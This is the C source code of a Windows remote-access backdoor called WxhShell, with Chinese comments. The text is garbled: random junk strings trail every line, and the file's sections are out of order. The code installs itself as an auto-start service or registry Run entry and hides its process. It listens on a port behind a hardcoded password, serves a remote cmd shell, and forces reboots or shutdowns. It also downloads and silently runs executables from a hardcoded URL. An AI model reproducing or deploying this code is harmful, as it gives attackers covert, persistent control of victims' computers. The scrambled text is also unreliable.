  case 'd': { pWY $aI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 09jU 0x  
    if(Boot(SHUTDOWN)) E<u6 js,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fi*@m,-  
    else { nCF1i2*6|"  
    closesocket(wsh); LadE4:oy  
    ExitThread(0); V=%j ]`Os  
    }  egur}  
    break; _tJp@\rOz=  
    } k WVaHZr  
  // 获取shell .!yXto:  
  case 's': { $)w9EGZ  
    CmdShell(wsh); `9IG//  
    closesocket(wsh); N?]HWP^pg  
    ExitThread(0); %fY\vd 2  
    break; Y.9s-g  
  } 7` 113`1  
  // 退出 R-Y07A  
  case 'x': { Ae,P&(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k+ Shhe1  
    CloseIt(wsh); F Xbf7G)H  
    break; F@</Ev  
    } .EJo 9s'  
  // 离开 DbRq,T  
  case 'q': { '6Lw<#It  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .wj?}Fr?97  
    closesocket(wsh); }=.:bwX5  
    WSACleanup(); Bp #:sAG  
    exit(1); M^f+R'Q3  
    break; cB,O"-  
        } T0=8 U; =  
  } hfUN~89;  
  } /DxaKZ ;b  
s,&tD WU  
  // 提示信息 sFh mp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .UJp#/EHs  
} 8|FHr,  
  } /CR Z  
Aj9<4N  
  return; KxZup\\:v  
} hzG+s#  
h B@M5Mc$  
// shell模块句柄 $9LI v  
int CmdShell(SOCKET sock) $\:;N]Cs~0  
{ BhJag L ^o  
STARTUPINFO si; zQpF, N<b  
ZeroMemory(&si,sizeof(si)); C t-^-XD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *^|.bBG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AmSrc.  
PROCESS_INFORMATION ProcessInfo; ^*!Tq&Dst|  
char cmdline[]="cmd"; {<f |h)r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yz6+ x]  
  return 0; ;3~+M:{2  
} re\pE2&B  
x6-bAf  
// 自身启动模式 ~!bA<q  
int StartFromService(void) :PJ 5~7C  
{ a#Yo^"*1  
typedef struct 1?6zsA%N  
{ &w4~0J>v!  
  DWORD ExitStatus; bq+ Q$#F2X  
  DWORD PebBaseAddress; V 4~`yT?*"  
  DWORD AffinityMask; gaBVD*>  
  DWORD BasePriority; .(D,CGtYb  
  ULONG UniqueProcessId; X,+M?  
  ULONG InheritedFromUniqueProcessId; G)|s(C!  
}   PROCESS_BASIC_INFORMATION; ?<3wks|C  
) ?L  
PROCNTQSIP NtQueryInformationProcess; H Pvs~`>V  
y+R *<5qC<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jv<C#0E^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YfB8  
QC/%|M0 {  
  HANDLE             hProcess; > St]MS  
  PROCESS_BASIC_INFORMATION pbi; \piHdVD  
,\2w+L5TD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J 'qhY'te  
  if(NULL == hInst ) return 0; o3=2`BvJ  
1MVzu7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y5oC|v7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bUcq LV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V~tZNR J-  
NG)Xk[q4  
  if (!NtQueryInformationProcess) return 0; y9/x:n&]  
 9hbn<Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a,>`ab%>  
  if(!hProcess) return 0; -Y?C1DbKz  
-chk\75  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3G r:.V9=  
}VetaO2*  
  CloseHandle(hProcess); zG"*B_l}+  
Qj:`[#3?2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5Xe1a'n5]  
if(hProcess==NULL) return 0; .|Ee,Un  
J ~"h&>T  
HMODULE hMod; oZ CvEVUk  
char procName[255]; ,)u7PMs  
unsigned long cbNeeded; ZKk*2EK]2z  
8Qwn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #YEOY#  
uaiCyh1:  
  CloseHandle(hProcess); f&ZFG>)6  
.+.BNS   
if(strstr(procName,"services")) return 1; // 以服务启动 xD|/98  
=.<S3?  
  return 0; // 注册表启动 liU/O:Ap  
} IRq@~vdt)  
M2{AaYgD  
// 主模块 ]&oQ6  
int StartWxhshell(LPSTR lpCmdLine) Pr>Pxsr&  
{ 2%i3[N*  
  SOCKET wsl; ,o?yS>L_r  
BOOL val=TRUE; =x QLf4>  
  int port=0; = nIl$9  
  struct sockaddr_in door; I4Y; 9Gg  
x{|`q9V~ N  
  if(wscfg.ws_autoins) Install(); !}+rg2  
f\/'Fy0  
port=atoi(lpCmdLine); z[E gMS!  
. #7B10  
if(port<=0) port=wscfg.ws_port; mW+QJ`3  
W)OoHpdw  
  WSADATA data; GM{J3O=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z]\CI:  
>sfH[b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zfexaf!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AhNy+p{  
  door.sin_family = AF_INET; C=y[WsT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'K8emt$d+  
  door.sin_port = htons(port); C{5^UCJkg  
|1rKGDc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I7Uj<a=(q  
closesocket(wsl); K]bw1K K  
return 1; S2!$  
} 0r|mg::'  
0/g 0=dW=  
  if(listen(wsl,2) == INVALID_SOCKET) { )"]Nf6  
closesocket(wsl); n#.~XNbxv  
return 1; #("/ 1N6  
} l&2}/A  
  Wxhshell(wsl);  n}f*>Mn  
  WSACleanup(); mqIcc'6f  
q ad`muAd  
return 0; ruf*-&Kr7  
3%J7_e'  
} Gl@-RLo  
a YC[15?'  
// 以NT服务方式启动 E+tV7xa~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F~C9,`#Wf@  
{ S,'y L7s  
DWORD   status = 0; =Y-ZI  
  DWORD   specificError = 0xfffffff; N8-!}\,  
(:TZ~"VY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QnJ(C]cW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'x{E#4A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;FI"N@z  
  serviceStatus.dwWin32ExitCode     = 0; kCuIEv@  
  serviceStatus.dwServiceSpecificExitCode = 0; LY? `+/  
  serviceStatus.dwCheckPoint       = 0; BY&+fK ae  
  serviceStatus.dwWaitHint       = 0; xGU~FU  
w4"4(SR.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /HiRbwQK#  
  if (hServiceStatusHandle==0) return; 9pPohR*#V  
GK>.R<[  
status = GetLastError(); iW\Q>~0#_  
  if (status!=NO_ERROR) kz UP   
{ REaU=-m-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~\ C.Nm  
    serviceStatus.dwCheckPoint       = 0; >bo_  
    serviceStatus.dwWaitHint       = 0; 13lJq:bM  
    serviceStatus.dwWin32ExitCode     = status; :v(fgS2\  
    serviceStatus.dwServiceSpecificExitCode = specificError; =Ll:Ba Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]a ,H!0i  
    return; VuiK5?m  
  } `62iW3y  
~|>q)4is6a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !-OPzfHrI  
  serviceStatus.dwCheckPoint       = 0; #+ <"`}]N  
  serviceStatus.dwWaitHint       = 0; - wizUp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }5I+VY7a  
} }qk8^W{  
! ,*4d $  
// 处理NT服务事件,比如:启动、停止 2/coa+Qkv]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (n>gC  
{ F6vN{ FI  
switch(fdwControl) C@$!'^ 61  
{ ~dpU D F  
case SERVICE_CONTROL_STOP: GCEcg&s=\S  
  serviceStatus.dwWin32ExitCode = 0; o2J-&   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C'a%piX  
  serviceStatus.dwCheckPoint   = 0; p3N/"t&>  
  serviceStatus.dwWaitHint     = 0; (oKrIm  
  { x9NcIa9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T]#S=]G  
  } 7[)IP:I>  
  return; wE4:$+R};  
case SERVICE_CONTROL_PAUSE:  Q9!T@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; , (Bo .(]  
  break; c-dOb.v0  
case SERVICE_CONTROL_CONTINUE: -#e3aXe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |d@%Vb_  
  break;  #"6O3.P  
case SERVICE_CONTROL_INTERROGATE: wVw?UN*rm;  
  break; \TF='@u.  
}; ;#goC N.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZjEc\{ s  
} nB#m?hK  
Vp5i i]B4  
// 标准应用程序主函数 tt=JvI9>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x)h|!T=B~  
{ :zW I"  
m,TN%*U!  
// 获取操作系统版本 $}*bZ~  
OsIsNt=GetOsVer(); Hfw*\=p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ac'0  
e{*-_j "I  
  // 从命令行安装 =gYKAr^p5  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1F*3K3T {  
cKbjW  
  // 下载执行文件 X/8CvY#n  
if(wscfg.ws_downexe) { oQ=v:P]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _$oN"pj  
  WinExec(wscfg.ws_filenam,SW_HIDE); l4:5(1  
} {4%B^+}T  
VXM5 B  
if(!OsIsNt) { )rqb<O  
// 如果时win9x,隐藏进程并且设置为注册表启动 bu j}pEI  
HideProc(); 9MI~yIt`L  
StartWxhshell(lpCmdLine); M`~UH\  
} g<@P_^vo  
else ^5:xSQ@:  
  if(StartFromService()) [lmghI!  
  // 以服务方式启动 WlJ $p$I`  
  StartServiceCtrlDispatcher(DispatchTable); VD,p<u{r  
else PGE|){ <  
  // 普通方式启动 #2XX[d%  
  StartWxhshell(lpCmdLine); %O=U|tuc$  
.o._`"V  
return 0; h !yu. v  
} 6w )mo)<X  
D #`o  
lHTW e'  
Pa8E.<>  
=========================================== ^ |xSU_wa  
rQuozbBb  
 ./iC  
\fk%^1XY  
91Fx0(  
;E!(W=]*F  
" Rfk8trD B  
O/|,rAE  
#include <stdio.h> (pU@$H  
#include <string.h> 3 W%Bsqn  
#include <windows.h> re$xeq\1P?  
#include <winsock2.h> $CXMeY{tOo  
#include <winsvc.h> `[&) X  
#include <urlmon.h> EINjI:/D  
^uDNArDmj5  
#pragma comment (lib, "Ws2_32.lib") s.zfiJ  
#pragma comment (lib, "urlmon.lib") >Z\{P8@k0  
d"P\ =`+  
#define MAX_USER   100 // 最大客户端连接数 EGY'a*]cU  
#define BUF_SOCK   200 // sock buffer G~ldU: ?  
#define KEY_BUFF   255 // 输入 buffer FK^JCs^  
<fZ?F=  
#define REBOOT     0   // 重启 Ci}v+  
#define SHUTDOWN   1   // 关机 +i@r-OL   
74h[YyVi  
#define DEF_PORT   5000 // 监听端口 P_[A  
-Tzp;o  
#define REG_LEN     16   // 注册表键长度 {#Lj,o  
#define SVC_LEN     80   // NT服务名长度 LhfI"fc  
+p:?blG  
// 从dll定义API (D?%(f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4F-r}Fj3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MKnG:)T<?l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gl4(-e'b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ek^=Z`  
<8JV`dTywC  
// wxhshell配置信息 em@bxyMm  
struct WSCFG { 5)T=^"IHXi  
  int ws_port;         // 监听端口 {Xc^-A[~  
  char ws_passstr[REG_LEN]; // 口令 o/;kzi  
  int ws_autoins;       // 安装标记, 1=yes 0=no w`N|e0G@  
  char ws_regname[REG_LEN]; // 注册表键名 BotGPk><c  
  char ws_svcname[REG_LEN]; // 服务名 ~=!d>f~U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "M GX(SQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2i~tzo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H(JgqbFB*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &gNb+z+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nO ^m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T;4& ^5 n  
i>]1E^yF  
};  wfecM(  
8Moe8X#3  
// default Wxhshell configuration FR7DuH/f)  
struct WSCFG wscfg={DEF_PORT, )YKnFSm  
    "xuhuanlingzhe",  Xf4   
    1, #dvH0LX?  
    "Wxhshell", o|tq&&! <  
    "Wxhshell", FuWMVT`Y  
            "WxhShell Service", yU e7o4Zm  
    "Wrsky Windows CmdShell Service", Rr9K1io$)  
    "Please Input Your Password: ", (.CEEWj%{  
  1, 86bRfW'  
  "http://www.wrsky.com/wxhshell.exe", )@IDmz>  
  "Wxhshell.exe" @y|ZXPC#  
    }; S,=#b 4\#%  
pd3=^ Zi  
// 消息定义模块 h.QsI`@f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3 N5un`K7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y4V~fg;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H/rJ:3  
char *msg_ws_ext="\n\rExit."; aB=&XGV9  
char *msg_ws_end="\n\rQuit."; n]15 ~GO.  
char *msg_ws_boot="\n\rReboot..."; n!Ic.T3PA  
char *msg_ws_poff="\n\rShutdown..."; Q)n6.%V/e  
char *msg_ws_down="\n\rSave to "; P0Q]Ds|  
JlM0]__v  
char *msg_ws_err="\n\rErr!"; .nN>Ipv  
char *msg_ws_ok="\n\rOK!"; k3pY3TA@w+  
0wh4sKm[X  
char ExeFile[MAX_PATH]; ],?rFK{O  
int nUser = 0; }!&Vcf  
HANDLE handles[MAX_USER]; E8Rk b}  
int OsIsNt; Ih&rXQ$  
pG|+\k/B  
SERVICE_STATUS       serviceStatus; *2? -6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CTNeh%K;  
dGNg[  
// 函数声明 'e/= !"T  
int Install(void); "vH>xBR[%  
int Uninstall(void); tK|jh  
int DownloadFile(char *sURL, SOCKET wsh); pX\Y:hCug  
int Boot(int flag); FLb Q#c\  
void HideProc(void); 1TOT}h5  
int GetOsVer(void); ! H^,p$`[i  
int Wxhshell(SOCKET wsl); 5t,W'a_  
void TalkWithClient(void *cs); +1te8P*  
int CmdShell(SOCKET sock); Q^B !^_M  
int StartFromService(void); jMpV c E#  
int StartWxhshell(LPSTR lpCmdLine); D~(f7~c%  
LU7ia[T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \8KAK3i'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); + YjK#  
rryC^Vma  
// 数据结构和表定义 F*0rpQ,*  
SERVICE_TABLE_ENTRY DispatchTable[] = (3_m[N\F  
{ b_'VWd:am  
{wscfg.ws_svcname, NTServiceMain}, [110[i^  
{NULL, NULL} /OX;3" +1  
}; vC# *w,  
PsV1btq]  
// 自我安装 gsSUmf1  
int Install(void) 1-h"1UN2E  
{ e[>c>F^  
  char svExeFile[MAX_PATH]; Y`U[Y Hx  
  HKEY key; 6JCq?:#ab  
  strcpy(svExeFile,ExeFile); %6%QE'D  
y3,'1^lA  
// 如果是win9x系统,修改注册表设为自启动 q2 pq~LI  
if(!OsIsNt) { :c_>(~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z{MR#.I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LGau!\  
  RegCloseKey(key); )6t=Bel  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8B*XXFy\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BDO]-y  
  RegCloseKey(key); \qo}}I>e  
  return 0; 0+iaO"%  
    } ?k}"g$JFn  
  } [s} n v]  
} Uyuvmt>  
else { (oUh:w.]Gw  
|([|F|"  
// 如果是NT以上系统,安装为系统服务 B5pWSS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8+?|4'\`  
if (schSCManager!=0) >U.f`24  
{ w]% |^:  
  SC_HANDLE schService = CreateService /'ukeK+'  
  ( Jtv~n  
  schSCManager, g]ct6-m  
  wscfg.ws_svcname, a%IJ8t+mn  
  wscfg.ws_svcdisp, ]46-TuH  
  SERVICE_ALL_ACCESS, ){sn!5=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  t=6[FK  
  SERVICE_AUTO_START, KkCA*GS  
  SERVICE_ERROR_NORMAL, T2%{pcdV/  
  svExeFile, fbjT"jSzw  
  NULL,  av!'UZP  
  NULL, ]9 ArT$  
  NULL, D2@J4;UW*W  
  NULL, O 8\wH  
  NULL )[Bl3+'  
  ); m j!P ]  
  if (schService!=0) 9iwSE(},  
  { z5UY0>+VdS  
  CloseServiceHandle(schService); g?mfpwZj  
  CloseServiceHandle(schSCManager); 6]mFw{6qn1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `yvH0B -  
  strcat(svExeFile,wscfg.ws_svcname); x,+2k6Wn!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )M: pg%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zDD1EycH  
  RegCloseKey(key); F.DR Gi.i  
  return 0; }[2|86,G;  
    } /&eF,4  
  } v=Y) A?  
  CloseServiceHandle(schSCManager); 5>nb A8  
} ^(:Z*+X~>  
} m0 a<~  
Z2t r?]  
return 1; ]i@WZ(  
} kzb%=EI  
rDEd MT  
// 自我卸载 7/UdE:~]*=  
int Uninstall(void) ITmW/Im5  
{ W3HTQGV  
  HKEY key; - / tzt  
(pud`@D;[  
if(!OsIsNt) { $yi[wwf 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Bm\OH#  
  RegDeleteValue(key,wscfg.ws_regname); sT;:V  
  RegCloseKey(key); !ot$Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?%]?#4bkc  
  RegDeleteValue(key,wscfg.ws_regname); mD]^a;U[X  
  RegCloseKey(key); 8euh]+  
  return 0; O\5q_>]  
  } ?04$1n:  
} s7(I  
} /BaXWrd+  
else { {<k}U;uiO  
p&O-]o8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [? 1m6u;  
if (schSCManager!=0) YZHqy++x  
{ /yd<+on^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B'U;i5u4'  
  if (schService!=0) AgU 7U/yk  
  { 8va&*J? 2  
  if(DeleteService(schService)!=0) { Lu6?$N57rC  
  CloseServiceHandle(schService); MF}}o0P  
  CloseServiceHandle(schSCManager); C>0='@LB@r  
  return 0; 'C")X  
  } n?EL\B   
  CloseServiceHandle(schService); @XSxoUF\  
  } K]0K/~>8  
  CloseServiceHandle(schSCManager); )h&*b9[B=  
} OM1pyt  
} % QKlvmI"  
uTq)Ets3  
return 1; &l| :1  
} ->0OqVQA  
Ozo)}  
// 从指定url下载文件 B*,Qw_3dG  
int DownloadFile(char *sURL, SOCKET wsh) ,iYKtS3  
{ ;A3aUN;"I  
  HRESULT hr; Cjn)`Q8  
char seps[]= "/"; M%#H>X\/  
char *token; |TE\]  
char *file; 6Y-sc*5  
char myURL[MAX_PATH]; SaA9)s  
char myFILE[MAX_PATH]; LqOjVQxz  
rjJ-ZRs\  
strcpy(myURL,sURL); v."0igMO  
  token=strtok(myURL,seps); KJ]ejb$  
  while(token!=NULL) DP-euz  
  { *K}j>A  
    file=token; I8]q~Q<-P  
  token=strtok(NULL,seps); P-*=e8z{  
  } Ou'<9m!9  
9>1 $Jv3  
GetCurrentDirectory(MAX_PATH,myFILE); `tjH#W`  
strcat(myFILE, "\\"); xSal=a;k  
strcat(myFILE, file); (!iGQj(m  
  send(wsh,myFILE,strlen(myFILE),0); ! ~5=tK  
send(wsh,"...",3,0); |:{H4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F,l%SQCyj  
  if(hr==S_OK) ZR|cZH1}C  
return 0; =nTNL.SX  
else |vLlEN/S  
return 1; u}L;/1,B  
&8^1:CcE  
} SyWLPh  
g0n 5&X  
// 系统电源模块 c{SD=wRt,y  
int Boot(int flag) b#2$Pd:(  
{ Db5y";T  
  HANDLE hToken; Om/mpU/U  
  TOKEN_PRIVILEGES tkp; cYaf QyU  
61}hB>TT:  
  if(OsIsNt) { (wtw1E5X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^9zFAY.|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h+!   
    tkp.PrivilegeCount = 1; 1}$GVb%i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wzka4J{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m@W\Pic,j.  
if(flag==REBOOT) { HxXCxI3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nP+]WUnY  
  return 0; zs_^m1t1s  
} ,aLdW,<6  
else { 0k7kmDW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~=pAy>oV  
  return 0; #!n"),3  
} +mqz)-x  
  } [61T$.  
  else { WV8?zB1  
if(flag==REBOOT) { lW8!_h"G`n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]PI|Xl  
  return 0; .bT|:Q~@{  
} 1hT!~'  
else { a=!I(50  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1D pRm(  
  return 0; t'F_1P^*/  
} Wxxnc#;lv  
} ?[ts<Ltp  
vMQvq9T}  
return 1; .vbUv3NI  
} dLtn,qCX0^  
npW1Z3n  
// win9x进程隐藏模块 KC`~\sYRN]  
void HideProc(void) o9Z!Z ^  
{ `PY>p!E  
mu!hD^fw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zk4(  
  if ( hKernel != NULL ) 3V"y|q  
  { o5 fXe}pl@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ` iiZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t#p*{S 3u  
    FreeLibrary(hKernel); )/:&i<Q:  
  } oiS>:de%tc  
H3?HQ>&O7  
return; =R>%}5  
} Yp_R+a^  
H(1( H0Kj"  
// 获取操作系统版本 t[.wx.y&0  
int GetOsVer(void) G}lP'9/  
{ y.LJ 5K$&a  
  OSVERSIONINFO winfo; _Q:739&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qhPvU( ,  
  GetVersionEx(&winfo); V@(7K0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iSZiJ4AUq  
  return 1; <Rl:=(]i~  
  else V`n;W6Q17  
  return 0; -UPlQL  
} 3]X9 z  
^rKA=siz  
// 客户端句柄模块 Y\qiYra  
int Wxhshell(SOCKET wsl) *$KUnd-T  
{ 4rh*&'  
  SOCKET wsh; bYKyR}e  
  struct sockaddr_in client; W:8*Z8?7  
  DWORD myID; {\?zqIM  
#()u=)  
  while(nUser<MAX_USER) .o2]ndT/J  
{ `xhiG9mz~  
  int nSize=sizeof(client); 2nQrCdRC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ww]^H$In  
  if(wsh==INVALID_SOCKET) return 1; G2nL#l~@)  
B~_='0Gm[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;gh#8JkI  
if(handles[nUser]==0) G*;}6 bj|?  
  closesocket(wsh); sh6F-g  
else 9P3jx)K  
  nUser++; .3B3Z&vr  
  } ? Q`Sx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4)BPrWea1  
Y]5\%JR  
  return 0; zKi5e+\  
} ;9{x""  
Kzs]+Cl  
// 关闭 socket x=>+.'K  
void CloseIt(SOCKET wsh) ">n38:?R  
{ [U]ouh)  
closesocket(wsh); nC3U%*l  
nUser--; uh~/ybR  
ExitThread(0); q>~\w1%}a\  
} }@ *Me+  
GnE%C2L -  
// 客户端请求句柄 R?Dbv'lp>  
void TalkWithClient(void *cs) ~ E) [!y  
{ K8`M~P.  
LWB"}#vt  
  SOCKET wsh=(SOCKET)cs; G36}4  
  char pwd[SVC_LEN]; U#O 6l-xe]  
  char cmd[KEY_BUFF]; (;V=A4F-D  
char chr[1]; *ay>MlcV2=  
int i,j; ?,J N?  
b[^=GF>e  
  while (nUser < MAX_USER) { 8QeM6;^/5  
gzK"'4`  
if(wscfg.ws_passstr) { *nB fF{y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m[7i<'+S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IeqJ>t:   
  //ZeroMemory(pwd,KEY_BUFF); qNhQ2x\  
      i=0; 959i2z  
  while(i<SVC_LEN) { l_lm)'ag  
sOJH$G3O  
  // 设置超时 zFjG20w%3g  
  fd_set FdRead; 8?GS:+  
  struct timeval TimeOut; P&/PCSf  
  FD_ZERO(&FdRead); No)v&P%  
  FD_SET(wsh,&FdRead); *-timVlaE  
  TimeOut.tv_sec=8; 74c1i  
  TimeOut.tv_usec=0; D!. r$i)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  W t&tu2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BX|+"AeF  
"+REv_:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L%8>deE>;D  
  pwd=chr[0]; p_$03q>oQ  
  if(chr[0]==0xd || chr[0]==0xa) { ^|6%~jkD5  
  pwd=0; W^2Q"c#7F  
  break; u"K-mr#$[o  
  } 8c m,G  
  i++; Ns-cT'1-  
    } rsP3?.E  
\o^M,yI  
  // 如果是非法用户,关闭 socket TqNEU<S/t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BJ3st  
} -{>Nrx|  
,.` ";='o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b;&J2:`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0@rrY  
&0O1tM*v  
while(1) { Yn,dM~|Cc  
NIDK:q dR  
  ZeroMemory(cmd,KEY_BUFF); Q)}sX6TB  
jNN$/ZWm  
      // 自动支持客户端 telnet标准   4A%O`&eZ  
  j=0; [8/E ;h  
  while(j<KEY_BUFF) { M:W9h+z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jxL5L[  
  cmd[j]=chr[0]; @3bQ2jn   
  if(chr[0]==0xa || chr[0]==0xd) { NYD#I{h  
  cmd[j]=0; dL<okw  
  break; aWVJx@f  
  } WKZ9i2hcdf  
  j++; @b2{'#9]}  
    } /<Cl\q2 A  
}io9Hk>|  
  // 下载文件 #;U_ L`q  
  if(strstr(cmd,"http://")) { vBd^=O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MpM-xz~  
  if(DownloadFile(cmd,wsh)) @R>4b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GmN} +(  
  else xaWd \]UF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b/oJ[Vf  
  } Kz!-w  
  else { *J@2A)ZDv0  
